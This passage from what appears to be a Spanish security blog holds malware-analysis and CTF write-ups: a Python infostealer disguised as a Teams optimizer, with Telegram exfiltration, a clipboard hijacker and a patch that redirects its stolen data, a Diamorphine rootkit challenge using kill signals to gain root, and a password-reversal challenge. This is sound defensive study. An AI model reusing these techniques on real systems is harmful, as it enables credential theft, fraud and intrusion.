Una vez cargado iremos directamente a los strings para ver si podemos rescatar alguna pista. Lo que podemos observar es que no se trata de un ejecutable .exe nativo sino que se trata de un programa en python(.py) convertido a un .exe. Os preguntareis como llego a esta conclusión: Sencillo, los strings:

Temos una lista de cadenas que incluyen PYINSTALLER_STRICT_UNPACK_MODE, pyinstaller_pyz y rutas que apuntan a librerías de Python.

El malware no ha sido escrito en C puro, sino en Python y luego empaquetado con PyInstaller. Esto es una técnica común para acelerar el desarrollo de malware, permitiendo al atacante usar librerías potentes de forma sencilla.

Llamadas a la API de Windows

Sabiendo esto ya podría cambiar de entorno y utilizar el toolkit de python para descompilar y ver como funciona exactamente el código, pero como estamos en proceso de aprendizaje buscamos más pistas y damos con una buena: ¿Cómo actúa PyInstaller?

Estos strings parecen curiosos así que vamos a ver el contexto.

Observamos llamadas críticas como CreateProcessW y referencias a ventanas ocultas (PyInstallerOnefileHiddenWindow).

Por qué es relevante: Esto nos indica que el ejecutable principal actuará como un “loader”, lanzando otros procesos de forma silenciosa para que el usuario no sospeche que hay actividad en segundo plano.

Fase 3: Desempaquetado y Extracción de Artefactos

Sabiendo que es un paquete de PyInstaller, nuestro siguiente paso es extraer el código original. Utilizamos la herramienta pyinstxtractor.py.

Al ejecutarla, la consola nos muestra un volcado de archivos (más de 1.000 elementos). Entre el ruido de las librerías estándar de Python, localizamos el botín: un archivo llamado INFOSTEALER_V9.PYC. Este archivo es el bytecode compilado. No es texto plano todavía, pero es mucho más cercano a la lógica del atacante que el binario original.

Nos creara la carpeta : TeamsBoost.exe_extracted

Fase 4: Reversado del Bytecode (La Lógica del Atacante)

Para leer el archivo .pyc, utilizamos pycdc (C++ Python Bytecode Disassembler). Aquí el análisis se vuelve crítico, ya que la captura de pantalla del código revela las “tripas” de la operación:

pycdc/pycdas infostealer_v9.pyc > infostealer_v9.asm

Canal de Exfiltración (C2): En la imagen del código vemos claramente las variables: token = "7418172573:AAGT5vS..."* chat_id = "1014913217"
- Análisis: El malware usa la API de Telegram para enviar los datos robados. Es una táctica inteligente porque el tráfico hacia Telegram suele ser visto como legítimo por muchos firewalls.
Módulos de Robo:
- El código muestra funciones como find_teams_db y periodic_screenshots.
- Análisis: El malware busca específicamente bases de datos de Microsoft Teams (donde se guardan tokens de sesión y mensajes) y toma capturas de pantalla de la víctima cada cierto tiempo.
El “Clipboard Hijacker” (Secuestro de Portapapeles):
- Una de las funciones más impactantes muestra una expresión regular (regex): \d{4}-\d{4}-\d{4}-\d{4}.
- Análisis: El programa monitoriza el portapapeles. Si detecta que el usuario copia algo que parece un número de tarjeta de crédito, el malware lo sustituye por una cuenta controlada por el atacante (1111-2222-3333-4444). Si el usuario va a hacer una transferencia o pago, terminará enviando el dinero al atacante sin darse cuenta.

Fase 5: Análisis Dinámico (Comprobación en Vivo)

Finalmente, “apretamos el gatillo” y ejecutamos el malware para observar su comportamiento.

Antes de nada con estas herramientas inicializadas podremos analizar el comportamiento del malware, solo nos falta ejecutarlo.

Ingeniería Social

Al ejecutar TeamsBoost.exe, aparece una ventana titulada “Microsoft Teams Optimizer”.

Se ve una barra de progreso verde avanzando lentamente. Es un engaño visual perfecto para mantener al usuario distraído mientras, en segundo plano, el script de Python está escaneando el disco y enviando datos. (Bonita interfaz Ismael :P)

Tráfico de Red (Wireshark)

Abrimos Wireshark para interceptar las comunicaciones. Vemos paquetes dirigidos a la IP 149.154.167.220 (servidores de Telegram) con el mensaje TLSv1.3 Client Hello (SNI: api.telegram.org).

El malware está efectivamente enviando la información recolectada a través del bot de Telegram que identificamos en la fase anterior.

Monitoreo de Procesos

Con Process Monitor, filtramos la actividad. Observamos que en el momento exacto en que copiamos un texto, el proceso malicioso realiza operaciones de lectura/escritura en memoria para modificar el portapapeles. (Fijaros en las horas)

Fase 6: Patching y Simulación de Ataque

Para cerrar el análisis con broche de oro, decidí realizar una técnica de Patching.

¿Qué es el Patching?

A nivel técnico, el patching consiste en modificar directamente el código o los datos de un binario ya compilado. En lugar de intentar programar el malware desde cero, alteramos el original para que obedezca nuestras órdenes. Es como cambiar el destinatario de una carta después de que ya ha sido escrita.

Ejecución del Patch

En este caso, el objetivo era simple pero potente: redirigir el botín.

Creamos nuestro propio Bot de Telegram y obtenemos un nuevo token y chat_id.
Localizamos en el código extraído (o mediante un editor hexadecimal como ImHex) las cadenas de texto originales del atacante.
Sustitución: Reemplazamos los valores del atacante por los nuestros.

Al ejecutar nuestro binario “parcheado”, la víctima (en nuestro entorno de pruebas) sigue viendo la barra de progreso del optimizador de Teams. Sin embargo, en lugar de que la información viaje al servidor del criminal, viajara a nuestro bot. Con esto, no solo hemos analizado la amenaza, sino que hemos demostrado un control total sobre ella. El patching nos permite validar cada hallazgo y confirmar que, efectivamente, la exfiltración funciona exactamente como predijimos en el análisis estático.

Conclusión

Este ejercicio demuestra que, por mucho que un malware intente ocultarse tras capas de empaquetado y fachadas legítimas, un análisis estructurado permite despojarlo de sus defensas y, finalmente, neutralizarlo o incluso volverlo en su contra.

Cyberpsychosis (Easy)

admin@synacklabs.github.io (SynAckLabs) — Thu, 15 Jan 2026 00:00:00 +0000

Contexto y objetivo

Cyberpsychosis es un challenge de reversing y análisis de rootkits que simula un escenario de respuesta a incidentes. Según el briefing, actores maliciosos han comprometido un sistema e implantado un rootkit personalizado. El objetivo es analizar el módulo, desactivarlo y recuperar la información oculta.

El challenge proporciona un archivo comprimido que contiene un módulo de kernel de Linux (LKM), tipo de malware utilizado para mantener persistencia con máximos privilegios y evasión de detección.

Reconocimiento inicial

Al descomprimir el archivo proporcionado, encontramos un fichero con extensión .ko: diamorphine.ko

Identificamos el tipo de archivo:

file diamorphine.ko

Se trata de un Kernel Object, es decir, un módulo de kernel cargable (LKM) para sistemas Linux. Estos módulos operan en ring 0 con privilegios absolutos sobre el sistema.

Una búsqueda inicial revela que Diamorphine es un rootkit LKM público y bien documentado, diseñado para:

Ocultar procesos del sistema
Elevar privilegios de usuarios arbitrarios
Ocultarse a sí mismo de herramientas de monitorización
Persistir en el kernel

Análisis estático

Carga en Ghidra

Cargamos el módulo diamorphine.ko en Ghidra para realizar ingeniería inversa del código. Como primer paso, inspeccionamos las strings presentes en el binario para identificar indicadores de comportamiento.

Las strings confirman la presencia de Diamorphine, mostrando referencias al proyecto original. Esto valida nuestra hipótesis inicial sobre la naturaleza del rootkit.

Documentación del comportamiento estándar

Consultamos el repositorio oficial del proyecto (https://github.com/m0nad/Diamorphine) para comprender el comportamiento esperado:

Según la documentación, el módulo responde a señales de Unix (kill) para activar funcionalidades:

Señal 31: Ocultar o mostrar un proceso específico
Señal 63: Alternar visibilidad del módulo en lsmod
Señal 64: Otorgar privilegios de root al proceso que envía la señal

El procedimiento estándar de desinstalación es:

kill -63 0 # Hacer visible el módulo
rmmod diamorphine # Eliminar el módulo (como root)

Análisis dinámico

Primer intento de desactivación

Nos conectamos al servicio remoto proporcionado:

nc <IP> <Puerto>

Aplicamos el procedimiento documentado para hacer visible el módulo y eliminarlo:

El sistema entra en kernel panic inmediatamente. Esto indica que el rootkit ha sido modificado intencionalmente y no sigue el comportamiento del Diamorphine original. La señal 63 no es la correcta en esta versión.

Identificación de la modificación

Retornamos al análisis estático. Navegamos a la función hacked_kill(), responsable de procesar las señales enviadas al módulo.

Observamos que la condición que controla la visibilidad del módulo compara contra un valor en hexadecimal. Convertimos el valor a decimal mediante clic derecho en Ghidra:

El número mágico modificado es 46, no 63 como en la versión original.

Solución: Desactivación del rootkit modificado

Con la señal correcta identificada, procedemos a desactivar el rootkit:

Hacer visible el módulo con la señal modificada:

kill -46 0

Obtener privilegios de root con la señal documentada:

kill -64 0

El rootkit ahora es visible y tenemos privilegios de root sin causar kernel panic.

Recuperación de la flag

Búsqueda en el sistema de archivos

Sabiendo que HackTheBox almacena sus flags típicamente en archivos .txt, realizamos una búsqueda recursiva en todo el sistema:

find / -name "*.txt" 2>/dev/null

La búsqueda revela la ubicación del archivo que contiene la información oculta.

Verificación final

Leemos el contenido de la flag:

cat /ruta/al/archivo.txt

Obtenemos la flag y completamos el challenge.

Conclusión

Este challenge ilustra varios conceptos críticos en análisis de malware y respuesta a incidentes:

Aprendizajes técnicos:

Los rootkits LKM operan en ring 0 y pueden interceptar syscalls arbitrarias
La función kill() puede ser hookeada para implementar backdoors mediante señales personalizadas
El análisis estático es imprescindible cuando la documentación pública no coincide con el comportamiento observado
Los rootkits modificados requieren ingeniería inversa completa, sin asumir comportamiento estándar

Técnicas aplicadas:

Análisis estático con Ghidra para identificar modificaciones en código conocido
Correlación entre comportamiento documentado y comportamiento real
Escalado de privilegios mediante funcionalidades maliciosas del rootkit

Implicaciones defensivas:

Los LKM son extremadamente difíciles de detectar una vez cargados
La verificación de integridad de módulos del kernel (module signing, Secure Boot) es crítica
Herramientas como LKRG (Linux Kernel Runtime Guard) pueden detectar hooks en syscalls
La respuesta a incidentes con rootkits requiere arranque desde medios externos confiables

Exalton

admin@synacklabs.github.io (SynAckLabs) — Thu, 15 Jan 2026 00:00:00 +0000

Contexto y objetivo

Exalton es un challenge de reversing que presenta un binario que solicita una contraseña. El objetivo es analizar la lógica de validación para recuperar la contraseña correcta mediante ingeniería inversa.

La protección consiste en una transformación aritmética aplicada a cada carácter de la entrada, cuyos resultados se comparan contra un array de valores precomputados.

Reconocimiento inicial

Tras descargar el binario, realizamos una identificación básica con file:

file exalton

Se trata de un ejecutable ELF de arquitectura x86-64. No presenta ofuscación aparente ni protecciones anti-debugging.

Análisis estático

Abrimos el binario en Ghidra para realizar el análisis estático. Comenzamos inspeccionando las strings del binario, pero no encontramos información relevante que revele directamente la contraseña.

Función main()

En la función main(), observamos la lógica principal del programa:

El programa solicita una entrada al usuario mediante scanf y posteriormente la pasa como argumento a una función llamada exalton(). El valor de retorno de esta función se compara contra un array de 36 valores enteros hardcodeados en el código.

Estos valores representan la transformación esperada de cada carácter de la contraseña correcta:

[1152, 1344, 1056, 1968, 1728, 816, 1648, 784, 1584, 816,
 1728, 1520, 1840, 1664, 784, 1632, 1856, 1520, 1728, 816,
 1632, 1856, 1520, 784, 1760, 1840, 1824, 816, 1584, 1856,
 784, 1776, 1760, 528, 528, 2000]

Función exalton()

Analizamos la función exalton() para comprender la transformación aplicada:

La función realiza las siguientes operaciones sobre cada carácter de la entrada:

Recorre la cadena carácter por carácter mediante un bucle
Convierte cada carácter a su valor ASCII (implícito en C al tratar char como entero)
Aplica un desplazamiento de bits a la izquierda de 4 posiciones (<< 4)

La operación x << 4 equivale a multiplicar por 2⁴ = 16. Por tanto, la transformación es:

valor_transformado = ASCII(carácter) × 16

Solución: Reversión de la transformación

Para recuperar la contraseña original, debemos aplicar la operación inversa a cada valor del array. Si la transformación fue x << 4, la inversa es x >> 4 (desplazamiento a la derecha).

Implementamos un script en Python que:

Toma cada valor del array
Aplica >> 4 para revertir la multiplicación por 16
Convierte el resultado a su carácter ASCII correspondiente

def transform_inversa(numbers):
 result = ""
 for n in numbers:
 ascii_val = n >> 4 # Revertir el desplazamiento
 result += chr(ascii_val)
 return result

password = [1152, 1344, 1056, 1968, 1728, 816, 1648, 784, 1584, 816,
 1728, 1520, 1840, 1664, 784, 1632, 1856, 1520, 1728, 816,
 1632, 1856, 1520, 784, 1760, 1840, 1824, 816, 1584, 1856,
 784, 1776, 1760, 528, 528, 2000]

print(transform_inversa(password))

Resultado y verificación

Al ejecutar el script, obtenemos la contraseña correcta. Verificamos ejecutando el binario con la contraseña recuperada:

El programa acepta la entrada y nos revela la flag.

Conclusión

Este challenge ilustra una técnica común en reversing: transformaciones aritméticas simples aplicadas a la entrada del usuario. Aunque el operador de desplazamiento de bits puede parecer complejo a simple vista, su equivalencia con operaciones aritméticas lo hace reversible de forma trivial.

Aprendizajes técnicos:

Los operadores bit a bit (<<, >>) son frecuentemente usados en validaciones de contraseña
La operación << 4 es equivalente a × 16 y >> 4 a ÷ 16
Ghidra facilita la identificación de patrones de transformación mediante la descompilación

Implicación defensiva: Este tipo de validación ofrece protección nula contra análisis estático, ya que los valores esperados están expuestos directamente en el binario. Una implementación más robusta requeriría hashing criptográfico o validación remota.

Reversing on

InjuredAndroid Part I

Flag I: LOGIN I

Flag II: EXPORTED ACTIVITY

Flag III: RESOURCES

Flag IV: LOGIN II

Flag V: EXPORTED BROADCAST RECEIVER

Flag VI: LOGIN III

Flag VII: SQLITE

FLAG VIII & IX: AWS & FIREBASE

Final Parte I

Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra

1. Introducción

2. Parte I: Activando el comando oculto “Force a win”

2.1. Análisis de strings: Primer contacto con la lista de cadenas definidas.

2.2. Identificación del recurso: ID 1010.

2.3. Conversión de bases: Localizando el valor hexadecimal 0x03F2.

2.4. Rastreo en el desensamblado: Localización del manejador de comandos

2.5. Análisis del flujo de victoria y el “gatillo” del Deal

3. Parte II: Ingeniería de la visibilidad de las cartas

3.1. Descartando el motor gráfico: Limitaciones de Cards.dll y CDT_Draw.

3.2. La técnica de la constante conocida: Buscando el “7” en la lógica de columnas.

3.3. Anatomía del bucle de renderizado: Cómo el juego barre el tablero.

4. El Parche Final: Neutralización del salto: Uso de NOPs para revelar todo el tablero.

Conclusión

El Juego del Gato y el Ratón: Crónica de un Infostealer (Red vs. Blue)

Red Team (Isma Laya)

Fase 1: El Gancho: Ingeniería Social y la GUI

Fase 2: El “Motor”: Obteniendo Permisos

Fase 3: El Objetivo Principal: Datos de Navegación y Teams

Fase 4: El “Clipper”: Ataque en tiempo real

Fase 5: Infraestructura C2: Telegram como servidor

Fase 6: Espionaje Visual

Conclusión

Script utilizado

Blue Team (Khaled El Modden)

Fase 0: Preparación del entorno

Fase 1: Reconocimiento inicial del binario

Fase 2: Inmersión en el Análisis Estático (Ghidra)

Fase 3: Desempaquetado y Extracción de Artefactos

Fase 4: Reversado del Bytecode (La Lógica del Atacante)

Fase 5: Análisis Dinámico (Comprobación en Vivo)

Fase 6: Patching y Simulación de Ataque

Conclusión

Cyberpsychosis (Easy)

Contexto y objetivo

Reconocimiento inicial

Análisis estático

Carga en Ghidra

Documentación del comportamiento estándar

Análisis dinámico

Primer intento de desactivación

Identificación de la modificación

Solución: Desactivación del rootkit modificado

Recuperación de la flag

Búsqueda en el sistema de archivos

Verificación final

Conclusión

Exalton

Contexto y objetivo

Reconocimiento inicial

Análisis estático

Función main()

Función exalton()

Solución: Reversión de la transformación

Resultado y verificación

Conclusión